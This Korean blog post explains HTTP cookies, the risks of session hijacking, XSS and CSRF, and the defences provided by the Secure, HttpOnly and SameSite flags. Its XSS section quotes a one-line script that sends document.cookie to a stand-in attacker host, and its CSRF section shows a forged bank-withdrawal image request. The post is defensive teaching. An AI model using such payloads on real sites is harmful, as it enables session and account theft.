쿠키(Cookie) 정복하기

2025. 2. 25. 11:28·ETC

🔗 쿠키가 생기게 된 배경

  • 웹 초기의 가장 큰 문제중 하나는 서버로 오는 두 개의 요청이 동일한 브라우저에서 온 것인지 확인하는 것임
  • 위와 같은 문제를 해결하기 위해 요청마다 고유한 토큰을 포함시켜 동일한 브라우저에서 오는 것을 확인시켜줬음
  • 토큰은 밖으로 유출되면 안되기 때문에 숨겨진 필드가 있는 양식을 사용하거나 URL 쿼리 문자열로 넣어줬어야 했는데, 두 방법 모두 번거롭고 오류가 발생하기 쉬웠음
  • 이러한 문제점들을 해결하기 위해 나온 개념이 쿠키

 

🔗 그래서 쿠키가 뭔데?

  • 쿠키는 브라우저에 의해 사용자 컴퓨터에 저장되는 작은 텍스트 파일임
  • 서버는 브라우저에 쿠키로 민감한 정보들을 저장하게 하고, 브라우저에서 서버로 요청을 보낼때 필요시 같이 보내도록 함
  • 로그인 필요한 대부분의 브라우저에서는 로그인이 성공하면 서버에서 발급해준 토큰을 브라우저 쿠키에 저장하게 하고, 인증이 필요한 곳에서 요청에 쿠키값도 포함하여 보내게 함으로써 웹사이트의 모든 곳을 자유롭게 탐색할 수 있도록 함

웹 서버는 Set-Cookie라는 HTTP 헤더를 전송하여 저장할 쿠키를 설정함
Set-Cookie의 헤더 형식: Set-Cookie: __Host-SID=<session token>; path=/; Secure; HttpOnly; SameSite=Strict


 

🔗 그럼, 쿠키는 만능인가?

결론부터 말하자면 아니다. 쿠키도 보안이 취약한 부분이 있고, 아래와 같이 3가지를 말할 수 있다.

 

🧩 Session hijacking(세션 하이재킹)

    • 쿠키의 가장 일반적인 용도는 사용자 로그인 상태를 추척하는 것임
    • 각 페이지에서 사용자의 로그인 상태를 확인하기 위해 로그인 시 저장되는 쿠키값을 확인하고, 이러한 쿠키값은 별다른 이유없이 바뀌지 않음
    • 쿠키는 인터넷을 통해 일반 텍스트로 전송되므로 패킷을 감청하는 공격자의 패킷 스니핑에 취약함
패킷 스니핑은 네트워크를 통해 주고받는 데이터 패킷을 가로채는 것을 말함.
일반적으로, 네트워크 관리자가 트래픽을 모니터링하고 문제를 해결하는 데 사용되지만, 악의적인 해커가 이를 이용하면 사용자의 로그인 정보, 쿠키, 민감한 데이터를 훔칠 수 있음

EX) 공용 와이파이(카페, 공항, 도서관 등)에서 HTTP 사이트에 로그인하면, 해당 요청이 암호화되지 않은 상태로 전송됨. 이때 해커가 같은 네트워크에 연결된 상태에서 패킷 스니핑 도구(Wireshark 같은 프로그램)를 사용하면, 네트워크에서 오가는 패킷을 가로채서 로그인 정보나 쿠키 값을 탈취할 수 있음

✨ 해결책

  • SSL(Secure Socket Layer) 또는 최신 버전인 TLS(Transport Layer Security)을 통한 안전한 채널에서만 쿠키를 전송함
    • HTTP 대신 SSL/TLS 기반의 HTTP인 HTTPS를 이용 -> 패킷 스니핑을 할 수 있지만, 하더라도 암호화된 데이터를 얻게 됨
    • 서버에서 쿠키에 Secure 플래그를 설정해두면 해당 쿠키는 HTTPS를 통해서만 전송되도록 제한됨

🧩 XSS(Cross Site Scripting)

  • 웹사이트에 악성 스크립트를 삽입하여 사용자의 정보를 탈취하거나 조작하는 공격 기법임
  • 공격자는 주로 사용자가 입력할 수 있는 곳(댓글, 검색창, 게시판 등)에 악성 JavaScript 코드를 넣어서 실행되게 만듬

✨ Example

(new Image()).src = "http://www.evil-domain.com/cookiestealer.php?cookie=" + document.cookie;
  • 웹 브라우저는 동일한 도메인에서 실행되는 JavaScript 코드가 해당 페이지와 같은 권한을 갖도록 되어 있기 때문에 위와 같은 코드를 공격자가 페이지에 넣어도 페이지 주인이 코드를 넣은 것과 동일하게 동작함
  • 위와 같은 코드를 통해 공격자가 생성한 이미지를 사용자가 누르게 된다면 공격자의 페이지로 이동하게 됨
  • 공격자는 사용자의 쿠키 정보가 담긴 document.cookie를 쿼리 문자열을 통해 얻어 사용자의 정보를 탈취할 수 있음

✨ 해결법

  • 서버에서 쿠키에 HttpOnly 옵션을 설정해두면, Javascript를 통해서 쿠키값에 접근할 수 없음
  • 서버에서만 브라우저의 쿠키값에 접근하여 추가, 수정, 삭제 가능

🧩 CSRF(Cross-Site Request Forgery)

  • 쿠키에 별도의 설정을 하지 않으면, 크롬을 제외한 브라우저들은 모든 HTTP 요청에 대해서 쿠키를 전송하게 됨 

✨ Example

<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
  • 사용자는 로그인 상태이고, 쿠키에 별도의 설정이 되어있지않다면 쿠키값이 모든 HTTP 요청에 포함됨
  • 인증이 필요한 위와 같은 코드도 동작하여 사용자의 계좌에서 돈이 인출되고, 공격자의 계좌로 입금됨

✨ 해결법

  • 서버에서 쿠키에 SameSite 속성을 Strict 또는 Lax로 설정하면, 외부 사이트에서 자동으로 쿠키가 포함되지 않게 함
  • Strict는 모든 요청에 대해 쿠키를 전송하지 않게 하고, Lax는 GET 요청에 대해서만 쿠키가 전송되게 함

 

🔗 쿠키 보안 설정 정리

🧩 HttpOnly

  • Document.cookie와 같은 Javascript를 통해 쿠키값에 접근하지 못하게 함
  • 서버에서만 브라우저의 쿠키값에 접근하여 추가, 수정, 삭제 가능
  • XSS(Cross Site Scripting) 해결법

🧩 Secure

  • HTTP가 아닌 보안이 강화된 SSL/TLS 기반의 HTTP인 HTTPS를 통해서만 쿠키값이 전송됨
  • 해당 속성을 설정해도 HttpOnly 설정이 안되어있다면 외부에서 쿠키값에 접근해서 추가, 수정, 삭제 가능
  • Session hijacking 해결법

🧩 SameSite

  • 외부 사이트에서 자동으로 쿠키가 전송되지 않게 제한함
  • 클라이언트에 저장된 정보를 조작하거나 탈취하는 XSS와 달리, 정상 사용자를 가장하여 서버에 있는 정보를 조작하거나 탈취함
  • SameSite의 설정값으로는 Strict, Lax, None이 있음
    • Strict: 외부 사이트의 모든 요청에 대해서 쿠키값을 전송하지 않음
    • Lax: 외부 사이트의 GET 요청에 대해서만 쿠키값을 전송함
    • None: SameSite를 설정하지 않은 것과 동일
  • CSRF(Cross-Site Request Forgery) 해결법

 

✈️ 출처

 

HTTP 쿠키와 보안

웹 초기의 가장 큰 문제 중 하나는 상태를 관리하는 방법이었는데, 당시 서버는 두 개의 요청이 동일한 브...

blog.naver.com

 

 

쿠키(Cookie) 설정 속성 살펴보기

Intro

limvik.github.io

'ETC' 카테고리의 다른 글

로그인 요청 보냈는데 왜 401(unAuthorized) 뜨지?  (0) 2025.02.12
'ETC' 카테고리의 다른 글
  • 로그인 요청 보냈는데 왜 401(unAuthorized) 뜨지?
뭐든 고민보다 해보자
뭐든 고민보다 해보자
배운 것들을 누구든 이해하기 쉽게 정리해보고자 합니다!
  • 뭐든 고민보다 해보자
    ZOO
    뭐든 고민보다 해보자
  • 전체
    오늘
    어제
  • 글쓰기 관리
    • 모든 글 (16)
      • 언어 (5)
        • Javascript (5)
        • Typescript (0)
        • Java (0)
      • CS (0)
        • Algorithm (0)
      • 프론트엔드 (9)
        • HTML (3)
        • CSS (6)
      • 백엔드 (0)
        • Spring (0)
      • 데이터베이스 (0)
      • AWS (0)
      • ETC (2)
  • 링크

    • Github
    • Linkedin
  • 블로그 메뉴

    • 태그
    • 방명록
  • 인기 글

  • 최근 글

  • 태그

    자바스크립트 내장 객체 제어
    쿠키
    이멧 문법
    html
    한국경제신문 x 토스뱅크 풀스택 훈련
    HTML/CSS
    css 중급
    자바스크립트
    javascript
    반응형
    dom 제어 함수
    태그
    Css기초
    기본 매개 변수
    로그인 토큰
    문자열 제어 함수
    emmet 문법
    secure
    key-value 객체
    전개(spread) 연산자
  • 최근 댓글

  • hELLO· Designed By정상우.v4.10.1
뭐든 고민보다 해보자
쿠키(Cookie) 정복하기
상단으로

티스토리툴바